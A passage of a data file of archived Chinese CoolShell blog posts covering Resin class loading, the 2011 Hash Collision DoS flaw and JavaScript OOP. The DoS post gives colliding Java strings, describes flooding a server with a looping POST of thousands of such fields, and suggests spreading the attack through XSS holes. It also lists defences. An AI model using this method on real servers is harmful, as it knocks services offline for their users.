name)方法也是采用双亲委派的方式。在前一篇文章中提出“getResourceAsStream可是将获取路径委托给getResource，<compiling-loader>却没有对getResourceAsStream产生影响”\n\n\nClassLoader中getResourceAsStream源码也确实是委托为getResource了，可是为什么呢？\n\n\ngetResourceAsStream(String name)方法。\n\n\n\n```\n\npublic InputStream getResourceAsStream(String name) {\n    URL url = getResource(name);\n    try {\n        return url != null ? url.openStream() : null;\n    } catch (IOException e) {\n        return null;\n    }\n}\n\n```\n\n其实不难解释，JVM中ClassLoader的getResourceAsStream(“/a.txt”)返回了null，然后开始回溯，与getResource方法的原理一致，直到某个ClassLoader及其子类或者Loader及其子类找到了”/a.txt”，并以流的形式返回，当然谁都没找到就返回null。\n\n\n捡重点的说。\n\n\n调试到sun.misc.Launcher$AppClassLoader@18d107f，即ClassLoader的子类，情形如下图：\n\n\n![图17](../wp-content/uploads/2012/01/图片17.png \"图17\")图17\n看见getResource(name)喽，按F5进去看个究竟。如下图，其parent为：sun.misc.Launcher$ExtClassLoader@360be0，其返回null。\n\n\n![图18](../wp-content/uploads/2012/01/图片18.png \"图18\")图18\n开始回溯到：EnvironmentClassLoader$1497769[servlet-server:]，与getResource方法一致，开始遍历\\_loaders集合。\n\n\n这样就可以解释为何<compiling-loader>没有影响到getResourceAsStream了。因为资源(这里是/a.txt)，就不是由AppClassLoader和ExtClassLoader加载的，而是由DynamicClassLoader或者其内部的\\_loaders集合完成的加载。或者更确切的说是由CompilingClassLoader获取到的URL，再转换成InputStream。\n\n\n**<comiling-loader>其实对getResourceAsStream还是有点影响的，如果配置中配置了<comiling-loader>，并且<comiling-loader>配置的路径下，与实际项目的指定路径下，都放置了同名资源，则会先加载<comiling-loader>配置路径下的资源。**\n\n\n比如，下图所示：\n\n\n![图19](../wp-content/uploads/2012/01/图片19.png \"图19\")图19\n<compiling-loader>配置的路径为：<compiling-loader path=”webapps/WEB-INF/classes”/>\n\n\n在加载”/a.txt”时，优先加载webapps/WEB-INF/classes/a.txt。\n\n\n#### 总结\n\n\n1. <compiling-loader>如被注释掉，则只会在EnvironmentClassLoader$24156236[web-app:http://localhost:8787/EhCacheTestAnnotation]中的\\_loaders中被初始化，否则会在EnvironmentClassLoader$24156236[web-app:http://localhost:8787/EhCacheTestAnnotation]和EnvironmentClassLoader$7806641[host:http://localhost:8787两个类加载器各自的\\_loaders集合中被初始化。(通过调试this.getClass().getResource(“/test”).getPath()验证)\n2. <compiling-loader>未注释掉，”/”(根路径)由EnvironmentClassLoader$7806641[host:http://localhost:8787]加载，注释掉后由EnvironmentClassLoader$24156236[web-app:http://localhost:8787/EhCacheTestAnnotation]加载。\n3. EnvironmentClassLoader$7806641[host:http://localhost:8787]为Resin server的类加载器实例，EnvironmentClassLoader$24156236[web-app:http://localhost:8787/EhCacheTestAnnotation]为Web应用程序的类加载器实例。他们都属于java.net.URLClassLoader的实例。\n4. <compiling-loader>某种程度上对getResourceAsStream方法有影响。\n\n\n现在<compiling-loader>如何影响getResource(“/”)，以及getResourceAsStream“不”被影响全部真相大白。\n\n\n注：<compiling-loader>只对获取根路径产生影响，也就是参数为”/”。比如加载”/test/Path.class”不会产生影响。\n\n\n（全文完）\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![由一个问题到 Resin ClassLoader 的学习](../wp-content/uploads/2011/12/resin01-150x150.png)](https://coolshell.cn/articles/6112.html)[由一个问题到 Resin ClassLoader 的学习](https://coolshell.cn/articles/6112.html)\n* [![Rust语言的编程范式](../wp-content/uploads/2020/03/rust-social-wide-150x150.jpg)](https://coolshell.cn/articles/20845.html)[Rust语言的编程范式](https://coolshell.cn/articles/20845.html)\n* [![程序员练级攻略（2018)  与我的专栏](../wp-content/uploads/2018/05/300x262-150x150.jpg)](https://coolshell.cn/articles/18360.html)[程序员练级攻略（2018) 与我的专栏](https://coolshell.cn/articles/18360.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/24.jpg](https://coolshell.cn/articles/11541.html)[面向GC的Java编程](https://coolshell.cn/articles/11541.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/17.jpg](https://coolshell.cn/articles/11454.html)[从LongAdder看更高效的无锁实现](https://coolshell.cn/articles/11454.html)\n* [![Java中的CopyOnWrite容器](../wp-content/uploads/2014/03/cow-copy-150x150.jpg)](https://coolshell.cn/articles/11175.html)[Java中的CopyOnWrite容器](https://coolshell.cn/articles/11175.html)\nThe post [Resin服务器getResource揭秘](https://coolshell.cn/articles/6335.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2012-1-6 Hash Collision DoS 问题.md",
    "content": "---\nlayout: post\ntitle: Hash Collision DoS 问题\ndate: 2012/1/6/ 0:36:5\nupdated: 2012/1/6/ 0:36:5\nstatus: publish\npublished: true\ntype: post\n---\n\n最近，除了国内明文密码的安全事件，还有一个事是比较大的，那就是 Hash Collision DoS （Hash碰撞的拒绝式服务攻击），有恶意的人会通过这个安全弱点会让你的服务器运行巨慢无比。**这个安全弱点利用了各语言的Hash算法的“非随机性”可以制造出N多的value不一样，但是key一样数据，然后让你的Hash表成为一张单向链表，而导致你的整个网站或是程序的运行性能以级数下降（可以很轻松的让你的CPU升到100%）**。目前，这个问题出现于[Java](http://www.java.com/), [JRuby](http://jruby.org/), [PHP](http://www.php.net/), [Python](http://python.org/), [Rubinius](http://rubini.us/), [Ruby](http://www.ruby-lang.org/)这些语言中，主要：\n\n\n* [Java](http://www.java.com), 所有版本\n* [JRuby](http://jruby.org/) <= 1.6.5 （目前fix在 1.6.5.1）\n* [PHP](http://www.php.net/) <= 5.3.8, <= 5.4.0RC3 （目前fix在 5.3.9,  5.4.0RC4）\n* [Python](http://python.org/), all versions\n* [Rubinius](http://rubini.us/), all versions\n* [Ruby](http://www.ruby-lang.org/) <= 1.8.7-p356 （目前fix在 1.8.7-p357, 1.9.x）\n* [Apache Geronimo](http://geronimo.apache.org/), 所有版本\n* [Apache Tomcat](http://tomcat.apache.org/) <= 5.5.34, <= 6.0.34, <= 7.0.22 （目前fix在 5.5.35,  6.0.35,  7.0.23）\n* [Oracle Glassfish](http://glassfish.java.net/) <= 3.1.1 （目前fix在mainline）\n* [Jetty](http://www.eclipse.org/jetty/), 所有版本\n* [Plone](http://plone.org/), 所有版本\n* [Rack](http://rack.rubyforge.org/) <= 1.3.5, <= 1.2.4, <= 1.1.2 （目前fix 在 1.4.0, 1.3.6, 1.2.5, 1.1.3）\n* [V8 JavaScript Engine](http://code.google.com/p/v8/), 所有版本\n* ASP.NET 没有打MS11-100补丁\n\n\n注意，Perl没有这个问题，因为Perl在N年前就fix了这个问题了。关于这个列表的更新，请参看 [oCERT的2011-003报告](http://www.ocert.org/advisories/ocert-2011-003.html)，比较坑爹的是，这个问题早在2003 年就在论文《[通过算法复杂性进行拒绝式服务攻击](http://www.cs.rice.edu/~scrosby/hash/CrosbyWallach_UsenixSec2003.pdf)》中被报告了，但是好像没有引起注意，尤其是Java。\n\n\n#### 弱点攻击解释\n\n\n你可以会觉得这个问题没有什么大不了的，因为黑客是看不到hash算法的，如果你这么认为，那么你就错了，这说明对Web编程的了解还不足够底层。\n\n\n\n无论你用JSP，PHP，Python，Ruby来写后台网页的时候，在处理HTTP POST数据的时候，你的后台程序可以很容易地以访问表单字段名来访问表单值，就像下面这段程序一样：\n\n\n\n```\n\n\n$usrname = $_POST['username'];\n$passwd = $_POST['password'];\n\n\n```\n\n这是怎么实现的呢？这后面的东西就是Hash Map啊，所以，我可以给你后台提交一个有10K字段的表单，这些字段名都被我精心地设计过，他们全是Hash Collision ，于是你的Web Server或语言处理这个表单的时候，就会建造这个hash map，于是在每插入一个表单字段的时候，都会先遍历一遍你所有已插入的字段，于是你的服务器的CPU一下就100%了，你会觉得这10K没什么，那么我就发很多个的请求，你的服务器一下就不行了。\n\n\n举个例子，你可能更容易理解：\n\n\n如果你有n个值—— v1, v2, v3, … vn，把他们放到hash表中应该是足够散列的，这样性能才高：\n\n\n\n> 0 -> v2  \n> \n> 1 -> v4  \n> \n> 2 -> v1  \n> \n> …  \n> \n> …  \n> \n> n -> v(x)\n> \n> \n\n\n但是，这个攻击可以让我造出N个值——  dos1, dos2, …., dosn，他们的hash key都是一样的（也就是Hash Collision），导致你的hash表成了下面这个样子：\n\n\n\n> 0 – > dos1 -> dos2 -> dos3 -> …. ->dosn  \n> \n> 1 -> null  \n> \n> 2 -> null  \n> \n> …  \n> \n> …  \n> \n> n -> null\n> \n> \n\n\n于是，单向链接就这样出现了。这样一来，O(1)的搜索算法复杂度就成了O(n)，而插入N个数据的算法复杂度就成了O(n^2)，你想想这是什么样的性能。\n\n\n（关于Hash表的实现，如果你忘了，那就把大学时的《数据结构》一书拿出来看看）\n\n\n####   Hash Collision DoS 详解\n\n\nStackOverflow.com是个好网站， 合格的程序员都应该知道这个网站。上去一查，就看到了这个贴子“[Application vulnerability due to Non Random Hash Functions](http://stackoverflow.com/questions/8669946/application-vulnerability-due-to-non-random-hash-functions \"Application vulnerability due to Non Random Hash Functions\")”。我把这个贴子里的东西摘一些过来。\n\n\n首先，这些语言使用的Hash算法都是“非随机的”，如下所示，这个是Java和Oracle使用的Hash函数：\n\n\n\n```\nstatic int hash(int h)\n{\nh ^= (h >>> 20) ^ (h >>> 12);\nreturn h ^ (h >>> 7) ^ (h >>> 4);\n}\n```\n\n所谓“非随机的” Hash算法，就可以猜。比如：\n\n\n1）在Java里， Aa和BB这两个字符串的hash code(或hash key) 是一样的，也就是Collision 。\n\n\n2）于是，我们就可以通过这两个种子生成更多的拥有同一个hash key的字符串。如：”AaAa”, “AaBB”, “BBAa”, “BBBB”。这是第一次迭代。其实就是一个排列组合，写个程序就搞定了。\n\n\n3）然后，我们可以用这4个长度的字符串，构造8个长度的字符串，如下所示：\n\n\n\n```\n\"AaAaAaAa\", \"AaAaBBBB\", \"AaAaAaBB\", \"AaAaBBAa\", \n\"BBBBAaAa\", \"BBBBBBBB\", \"BBBBAaBB\", \"BBBBBBAa\", \n\"AaBBAaAa\", \"AaBBBBBB\", \"AaBBAaBB\", \"AaBBBBAa\", \n\"BBAaAaAa\", \"BBAaBBBB\", \"BBAaAaBB\", \"BBAaBBAa\",\n```\n\n`4）同理，我们就可以生成16个长度的，以及256个长度的字符串，总之，很容易生成N多的这样的值。`\n\n\n在攻击时，我只需要把这些数据做成一个HTTP POST 表单，然后写一个无限循环的程序，不停地提交这个表单。你用你的浏览器就可以了。当然，如果做得更精妙一点的话，把你的这个表单做成一个跨站脚本，然后找一些网站的跨站漏洞，放上去，于是能过SNS的力量就可以找到N多个用户来帮你从不同的IP来攻击某服务器。\n\n\n \n\n\n#### 防守\n\n\n要防守这样的攻击，有下面几个招：\n\n\n* 打补丁，把hash算法改了。\n* 限制POST的参数个数，限制POST的请求长度。\n* 最好还有防火墙检测异常的请求。\n\n\n不过，对于更底层的或是其它形式的攻击，可能就有点麻烦了。\n\n\n（全文完）\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![无锁HashMap的原理与实现](../wp-content/uploads/2013/05/图1-3-150x150.jpg)](https://coolshell.cn/articles/9703.html)[无锁HashMap的原理与实现](https://coolshell.cn/articles/9703.html)\n* [![疫苗：Java HashMap的死循环](../wp-content/uploads/2013/05/race_condition-150x150.jpg)](https://coolshell.cn/articles/9606.html)[疫苗：Java HashMap的死循环](https://coolshell.cn/articles/9606.html)\n* [![网络数字身份认证术](../wp-content/uploads/2022/01/iStock-1175502114-150x150.png)](https://coolshell.cn/articles/21708.html)[网络数字身份认证术](https://coolshell.cn/articles/21708.html)\n* [![Rust语言的编程范式](../wp-content/uploads/2020/03/rust-social-wide-150x150.jpg)](https://coolshell.cn/articles/20845.html)[Rust语言的编程范式](https://coolshell.cn/articles/20845.html)\n* [![HTTP API 认证授权术](../wp-content/uploads/2019/05/Authorization-360x200-1-150x150.png)](https://coolshell.cn/articles/19395.html)[HTTP API 认证授权术](https://coolshell.cn/articles/19395.html)\n* [![程序员练级攻略（2018)  与我的专栏](../wp-content/uploads/2018/05/300x262-150x150.jpg)](https://coolshell.cn/articles/18360.html)[程序员练级攻略（2018) 与我的专栏](https://coolshell.cn/articles/18360.html)\nThe post [Hash Collision DoS 问题](https://coolshell.cn/articles/6424.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2012-1-9 Javascript 面向对象编程.md",
    "content": "---\nlayout: post\ntitle: Javascript 面向对象编程\ndate: 2012/1/9/ 0:16:27\nupdated: 2012/1/9/ 0:16:27\nstatus: publish\npublished: true\ntype: post\n---\n\nJavascript是一个类C的语言，他的面向对象的东西相对于C++/Java比较奇怪，但是其的确相当的强大，在 [Todd 同学](http://www.cnblogs.com/weidagang2046/)的“[对象的消息模型](https://coolshell.cn/articles/5202.html \"对象的消息模型\")”一文中我们已经可以看到一些端倪了。这两天有个前同事总在问我Javascript面向对象的东西，所以，索性写篇文章让他看去吧，这里这篇文章主要想从一个整体的角度来说明一下Javascript的面向对象的编程。（**成文比较仓促，应该有不准确或是有误的地方，请大家批评指正**）\n\n\n另，这篇文章主要基于 [ECMAScript 5](http://www.ecma-international.org/publications/standards/Ecma-262.htm)， 旨在介绍新技术。关于兼容性的东西，请看最后一节。\n\n\n#### 初探\n\n\n我们知道Javascript中的变量定义基本如下：\n\n\n\n```\nvar name = 'Chen Hao';;\nvar email = 'haoel(@)hotmail.com';\nvar website = 'https://coolshell.cn';\n```\n\n如果要用对象来写的话，就是下面这个样子：\n\n\n\n```\nvar chenhao = {\n    name :'Chen Hao',\n    email : 'haoel(@)hotmail.com',\n    website : 'https://coolshell.cn'\n};\n```\n\n于是，我就可以这样访问：\n\n\n\n```\n\n//以成员的方式\nchenhao.name;\nchenhao.email;\nchenhao.website;\n\n//以hash map的方式\nchenhao[\"name\"];\nchenhao[\"email\"];\nchenhao[\"website\"];\n\n```\n\n关于函数，我们知道Javascript的函数是这样的：\n\n\n\n\n```\nvar doSomething = function(){\n   alert('Hello World.');\n};\n```\n\n于是，我们可以这么干：\n\n\n\n```\n\nvar sayHello = function(){\n   var hello = \"Hello, I'm \"+ this.name\n                + \", my email is: \" + this.email\n                + \", my website is: \" + this.website;\n   alert(hello);\n};\n\n//直接赋值，这里很像C/C++的函数指针\nchenhao.Hello = sayHello;\n\nchenhao.Hello();\n\n```\n\n相信这些东西都比较简单，大家都明白了。 可以看到javascript对象函数是直接声明，直接赋值，直接就用了。runtime的动态语言。\n\n\n还有一种比较规范的写法是：\n\n\n\n```\n\n//我们可以看到， 其用function来做class。\nvar Person = function(name, email, website){\n    this.name = name;\n    this.email = email;\n    this.website = website;\n\n    this.sayHello = function(){\n        var hello = \"Hello, I'm \"+ this.name  + \", \\n\" +\n                    \"my email is: \" + this.email + \", \\n\" +\n                    \"my website is: \" + this.website;\n        alert(hello);\n    };\n};\n\nvar chenhao = new Person(\"Chen Hao\", \"haoel@hotmail.com\",\n                                     \"https://coolshell.cn\");\nchenhao.sayHello(); \n```\n\n顺便说一下，要删除对象的属性，很简单：\n\n\n`delete chenhao['email']`\n\n\n上面的这些例子，我们可以看到这样几点：\n\n\n1. Javascript的数据和成员封装很简单。没有类完全是对象操作。纯动态！\n2. Javascript function中的this指针很关键，如果没有的话，那就是局部变量或局部函数。\n3. Javascript对象成员函数可以在使用时临时声明，并把一个全局函数直接赋过去就好了。\n4. Javascript的成员函数可以在实例上进行修改，也就是说不同实例相同函数名的行为不一定一样。\n\n\n#### 属性配置 – Object.defineProperty\n\n\n先看下面的代码：\n\n\n\n```\n\n//创建对象\nvar chenhao = Object.create(null);\n\n//设置一个属性\n Object.defineProperty( chenhao,\n                'name', { value:  'Chen Hao',\n                          writable:     true,\n                          configurable: true,\n                          enumerable:   true });\n\n//设置多个属性\nObject.defineProperties( chenhao,\n    {\n        'email'  : { value:  'haoel@hotmail.com',\n                     writable:     true,\n                     configurable: true,\n                     enumerable:   true },\n        'website': { value: 'https://coolshell.cn',\n                     writable:     true,\n                     configurable: true,\n                     enumerable:   true }\n    }\n);\n\n```\n\n下面就说说这些属性配置是什么意思。\n\n\n* writable：这个属性的值是否可以改。\n* configurable：这个属性的配置是否可以改。\n* enumerable：这个属性是否能在for…in循环中遍历出来或在Object.keys中列举出来。\n* value：属性值。\n* get()/set(\\_value)：get和set访问器。\n\n\n#### Get/Set 访问器\n\n\n关于get/set访问器，它的意思就是用get/set来取代value（其不能和value一起使用），示例如下：\n\n\n\n```\nvar  age = 0;\nObject.defineProperty( chenhao,\n            'age', {\n                      get: function() {return age+1;},\n                      set: function(value) {age = value;}\n                      enumerable : true,\n                      configurable : true\n                    }\n);\nchenhao.age = 100; //调用set\nalert(chenhao.age); //调用get 输出101（get中+1了）;\n\n```\n\n我们再看一个更为实用的例子——利用已有的属性(age)通过get和set构造新的属性(birth\\_year)：\n\n\n\n```\n\nObject.defineProperty( chenhao,\n            'birth_year',\n            {\n                get: function() {\n                    var d = new Date();\n                    var y = d.getFullYear();\n                    return ( y - this.age );\n                },\n                set: function(year) {\n                    var d = new Date();\n                    var y = d.getFullYear();\n                    this.age = y - year;\n                }\n            }\n);\n\nalert(chenhao.birth_year);\nchenhao.birth_year = 2000;\nalert(chenhao.age);\n\n```\n\n这样做好像有点麻烦，你说，我为什么不写成下面这个样子：\n\n\n\n```\n\nvar chenhao = {\n    name: \"Chen Hao\",\n    email: \"haoel@hotmail.com\",\n    website: \"https://coolshell.cn\",\n    age: 100,\n    get birth_year() {\n        var d = new Date();\n        var y = d.getFullYear();\n        return ( y - this.age );\n    },\n    set birth_year(year) {\n        var d = new Date();\n        var y = d.getFullYear();\n        this.age = y - year;\n    }\n\n};\nalert(chenhao.birth_year);\nchenhao.birth_year = 2000;\nalert(chenhao.age);\n\n```\n\n是的，你的确可以这样的，不过通过defineProperty()你可以干这些事：  \n\n1）设置如 writable，configurable，enumerable 等这类的属性配置。  \n\n2）动态地为一个对象加属性。比如：一些HTML的DOM对像。\n\n\n#### 查看对象属性配置\n\n\n如果查看并管理对象的这些配置，下面有个程序可以输出对象的属性和配置等东西：\n\n\n\n```\n//列出对象的属性.\nfunction listProperties(obj)\n{\n    var newLine = \"<br />\";\n    var names = Object.getOwnPropertyNames(obj);\n    for (var i = 0; i < names.length; i++) {\n        var prop = names[i];\n        document.write(prop + newLine);\n\n        // 列出对象的属性配置（descriptor）动用getOwnPropertyDescriptor函数。\n        var descriptor = Object.getOwnPropertyDescriptor(obj, prop);\n        for (var attr in descriptor) {\n            document.write(\"...\" + attr + ': ' + descriptor[attr]);\n            document.write(newLine);\n        }\n        document.write(newLine);\n    }\n}\n\nlistProperties(chenhao);\n```\n\n#### call，apply， bind 和 this\n\n\n关于Javascript的this指针，和C++/Java很类似。 我们来看个示例：（这个示例很简单了，我就不多说了）\n\n\n\n```\nfunction print(text){\n    document.write(this.value + ' - ' + text+ '<br>');\n}\n\nvar a = {value: 10, print : print};\nvar b = {value: 20, print : print};\n\nprint('hello');// this => global, output \"undefined - hello\"\n\na.print('a');// this => a, output \"10 - a\"\nb.print('b'); // this => b, output \"20 - b\"\n\na['print']('a'); // this => a, output \"10 - a\"\n\n```\n\n我们再来看看call 和 apply，这两个函数的差别就是参数的样子不一样，另一个就是性能不一样，apply的性能要差很多。（关于性能，可到 [JSPerf](http://jsperf.com/) 上去跑跑看看）\n\n\n\n```\nprint.call(a, 'a'); // this => a, output \"10 - a\"\nprint.call(b, 'b'); // this => b, output \"20 - b\"\n\nprint.apply(a, ['a']); // this => a, output \"10 - a\"\nprint.apply(b, ['b']); // this => b, output \"20 - b\"\n```\n\n但是在bind后，this指针，可能会有不一样，但是因为Javascript是动态的。如下面的示例\n\n\n\n```\nvar p = print.bind(a);\np('a');             // this => a, output \"10 - a\"\np.call(b, 'b');     // this => a, output \"10 - b\"\np.apply(b, ['b']);  // this => a, output \"10 - b\"\n```\n\n#### 继承 和 重载\n\n\n通过上面的那些示例，我们可以通过Object.create()来实际继承，请看下面的代码，Student继承于Object。\n\n\n\n```\n\nvar Person = Object.create(null);\n\nObject.defineProperties\n(\n    Person,\n    {\n        'name'  : {  value: 'Chen Hao'},\n        'email'  : { value : 'haoel@hotmail.com'},\n        'website': { value: 'https://coolshell.cn'}\n    }\n);\n\nPerson.sayHello = function () {\n    var hello = \"<p>Hello, I am \"+ this.name  + \", <br>\" +\n                \"my email is: \" + this.email + \", <br>\" +\n                \"my website is: \" + this.website;\n    document.write(hello + \"<br>\");\n}\n\nvar Student = Object.create(Person);\nStudent.no = \"1234567\"; //学号\nStudent.dept = \"Computer Science\"; //系\n\n//使用Person的属性\ndocument.write(Student.name + ' ' + Student.email + ' ' + Student.website +'<br>');\n\n//使用Person的方法\nStudent.sayHello();\n\n//重载SayHello方法\nStudent.sayHello = function (person) {\n    var hello = \"<p>Hello, I am \"+ this.name  + \", <br>\" +\n                \"my email is: \" + this.email + \", <br>\" +\n                \"my website is: \" + this.website + \", <br>\" +\n                \"my student no is: \" + this. no + \", <br>\" +\n                \"my departent is: \" + this. dept;\n    document.write(hello + '<br>');\n}\n//再次调用\nStudent.sayHello();\n\n//查看Student的属性（只有 no 、 dept 和 重载了的sayHello）\ndocument.write('<p>' + Object.keys(Student) + '<br>');\n\n```\n\n通用上面这个示例，我们可以看到，Person里的属性并没有被真正复制到了Student中来，但是我们可以去存取。这是因为Javascript用委托实现了这一机制。其实，这就是Prototype，Person是Student的Prototype。\n\n\n当我们的代码需要一个属性的时候，Javascript的引擎会先看当前的这个对象中是否有这个属性，如果没有的话，就会查找他的Prototype对象是否有这个属性，一直继续下去，直到找到或是直到没有Prototype对象。\n\n\n为了证明这个事，我们可以使用Object.getPrototypeOf()来检验一下：\n\n\n\n```\nStudent.name = 'aaa';\n\n//输出 aaa\ndocument.write('<p>' + Student.name + '</p>');\n\n//输出 Chen Hao\ndocument.write('<p>' +Object.getPrototypeOf(Student).name + '</p>');\n```\n\n于是，你还可以在子对象的函数里调用父对象的函数，就好像C++里的 Base::func() 一样。于是，我们重载hello的方法就可以使用父类的代码了，如下所示：\n\n\n\n```\n//新版的重载SayHello方法\nStudent.sayHello = function (person) {\n    Object.getPrototypeOf(this).sayHello.call(this);\n    var hello = \"my student no is: \" + this. no + \", <br>\" +\n                \"my departent is: \" + this. dept;\n    document.write(hello + '<br>');\n}\n```\n\n这个很强大吧。\n\n\n#### 组合\n\n\n上面的那个东西还不能满足我们的要求，我们可能希望这些对象能真正的组合起来。为什么要组合？因为我们都知道是这是OO设计的最重要的东西。不过，这对于Javascript来并没有支持得特别好，不好我们依然可以搞定个事。\n\n\n首先，我们需要定义一个Composition的函数：（target是作用于是对象，source是源对象），下面这个代码还是很简单的，就是把source里的属性一个一个拿出来然后定义到target中。\n\n\n\n```\n\nfunction Composition(target, source)\n{\n    var desc  = Object.getOwnPropertyDescriptor;\n    var prop  = Object.getOwnPropertyNames;\n    var def_prop = Object.defineProperty;\n\n    prop(source).forEach(\n        function(key) {\n            def_prop(target, key, desc(source, key))\n        }\n    )\n    return target;\n}\n\n```\n\n有了这个函数以后，我们就可以这来玩了：\n\n\n\n```\n\n//艺术家\nvar Artist = Object.create(null);\nArtist.sing = function() {\n    return this.name + ' starts singing...';\n}\nArtist.paint = function() {\n    return this.name + ' starts painting...';\n}\n\n//运动员\nvar Sporter = Object.create(null);\nSporter.run = function() {\n    return this.name + ' starts running...';\n}\nSporter.swim = function() {\n    return this.name + ' starts swimming...';\n}\n\nComposition(Person, Artist);\ndocument.write(Person.sing() + '<br>');\ndocument.write(Person.paint() + '<br>');\n\nComposition(Person, Sporter);\ndocument.write(Person.run() + '<br>');\ndocument.write(Person.swim() + '<br>');\n\n//看看 Person中有什么？（输出：sayHello,sing,paint,swim,run）\ndocument.write('<p>' + Object.keys(Person) + '<br>');\n\n```\n\n#### Prototype 和 继承\n\n\n我们先来说说Prototype。我们先看下面的例程，这个例程不需要解释吧，很像C语言里的函数指针，在C语言里这样的东西见得多了。\n\n\n\n```\nvar plus = function(x,y){\n    document.write( x + ' + ' + y + ' = ' + (x+y) + '<br>');\n    return x + y;\n};\n\nvar minus = function(x,y){\n    document.write(x + ' - ' + y + ' = ' + (x-y) + '<br>');\n    return x - y;\n};\n\nvar operations = {\n    '+': plus,\n    '-': minus\n};\n\nvar calculate = function(x, y, operation){\n    return operations[operation](x, y);\n};\n\ncalculate(12, 4, '+');\ncalculate(24, 3, '-');\n\n```\n\n那么，我们能不能把这些东西封装起来呢，我们需要使用prototype。看下面的示例：\n\n\n\n```\nvar Cal = function(x, y){\n    this.x = x;\n    this.y = y;\n}\n\nCal.prototype.operations = {\n    '+': function(x, y) { return x+y;},\n    '-': function(x, y) { return x-y;}\n};\n\nCal.prototype.calculate = function(operation){\n    return this.operations[operation](this.x, this.y);\n};\n\nvar c = new Cal(4, 5);\n\nc.calculate('+');\nc.calculate('-');\n```\n\n这就是prototype的用法，prototype 是javascript这个语言中最重要的内容。网上有太多的文章介始这个东西了。说白了，prototype就是对一对象进行扩展，其特点在于通过“复制”一个已经存在的实例来返回新的实例,而不是新建实例。被复制的实例就是我们所称的“原型”，这个原型是可定制的（当然，这里没有真正的复制，实际只是委托）。上面的这个例子中，我们扩展了实例Cal，让其有了一个operations的属性和一个calculate的方法。\n\n\n这样，我们可以通过这一特性来实现继承。还记得我们最最前面的那个Person吧， 下面的示例是创建一个Student来继承Person。\n\n\n\n```\n\nfunction Person(name, email, website){\n    this.name = name;\n    this.email = email;\n    this.website = website;\n};\n\nPerson.prototype.sayHello = function(){\n    var hello = \"Hello, I am \"+ this.name  + \", <br>\" +\n                \"my email is: \" + this.email + \", <br>\" +\n                \"my website is: \" + this.website;\n    return hello;\n};\n\nfunction Student(name, email, website, no, dept){\n    var proto = Object.getPrototypeOf;\n    proto(Student.prototype).constructor.call(this, name, email, website);\n    this.no = no;\n    this.dept = dept;\n}\n\n// 继承prototype\nStudent.prototype = Object.create(Person.prototype);\n\n//重置构造函数\nStudent.prototype.constructor = Student;\n\n//重载sayHello()\nStudent.prototype.sayHello = function(){\n    var proto = Object.getPrototypeOf;\n    var hello = proto(Student.prototype).sayHello.call(this) + '<br>';\n    hello += \"my student no is: \" + this. no + \", <br>\" +\n             \"my departent is: \" + this. dept;\n    return hello;\n};\n\nvar me = new Student(\n    \"Chen Hao\",\n    \"haoel@hotmail.com\",\n    \"https://coolshell.cn\",\n    \"12345678\",\n    \"Computer Science\"\n);\ndocument.write(me.sayHello());\n```\n\n#### 兼容性\n\n\n上面的这些代码并不一定能在所有的浏览器下都能运行，因为上面这些代码遵循 ECMAScript 5 的规范，关于ECMAScript 5 的浏览器兼容列表，你可以看这里“[ES5浏览器兼容表](http://kangax.github.com/es5-compat-table/)”。\n\n\n本文中的所有代码都在Chrome最新版中测试过了。\n\n\n下面是一些函数，可以用在不兼容ES5的浏览器中：\n\n\n##### Object.create()函数\n\n\n\n```\nfunction clone(proto) {\n    function Dummy() { }\n\n    Dummy.prototype             = proto;\n    Dummy.prototype.constructor = Dummy;\n\n    return new Dummy(); //等价于Object.create(Person);\n}\n\nvar me = clone(Person);\n\n```\n\n##### defineProperty()函数\n\n\n\n```\nfunction defineProperty(target, key, descriptor) {\n    if (descriptor.value){\n        target[key] = descriptor.value;\n    }else {\n        descriptor.get && target.__defineGetter__(key, descriptor.get);\n        descriptor.set && target.__defineSetter__(key, descriptor.set);\n    }\n\n    return target\n}\n```\n\n##### keys()函数\n\n\n\n```\nfunction keys(object) { var result, key\n    result = [];\n    for (key in object){\n        if (object.hasOwnProperty(key))  result.push(key)\n    }\n\n    return result;\n}\n```\n\n##### Object.getPrototypeOf() 函数\n\n\n\n```\nfunction proto(object) {\n    return !object?                null\n         : '__proto__' in object?  object.__proto__\n         : /* not exposed? */      object.constructor.prototype\n}\n```\n\n##### bind 函数\n\n\n\n```\nvar slice = [].slice\n\nfunction bind(fn, bound_this) { var bound_args\n    bound_args = slice.call(arguments, 2)\n    return function() { var args\n        args = bound_args.concat(slice.call(arguments))\n        return fn.apply(bound_this, args) }\n}\n\n```\n\n#### 参考\n\n\n* W3CSchool\n* MDN (Mozilla Developer Network)\n* MSDN (Microsoft Software Development Network)\n* [Understanding Javascript OOP](http://killdream.github.com/blog/2011/10/understanding-javascript-oop/).\n\n\n**（转载时请注明作者和出处，请勿用于任何商业用途）**\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![理解Javascript的闭包](../wp-content/uploads/2012/03/closure-150x150.png)](https://coolshell.cn/articles/6731.html)[理解Javascript的闭包](https://coolshell.cn/articles/6731.html)\n* [![再谈javascript面向对象编程 ](../wp-content/uploads/2012/02/joo_1-150x150.png)](https://coolshell.cn/articles/6668.html)[再谈javascript面向对象编程](https://coolshell.cn/articles/6668.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/14.jpg](https://coolshell.cn/articles/5202.html)[对象的消息模型](https://coolshell.cn/articles/5202.html)\n* [![程序员练级攻略（2018)  与我的专栏](../wp-content/uploads/2018/05/300x262-150x150.jpg)](https://coolshell.cn/articles/18360.html)[程序员练级攻略（2018) 与我的专栏](https://coolshell.cn/articles/18360.html)\n* 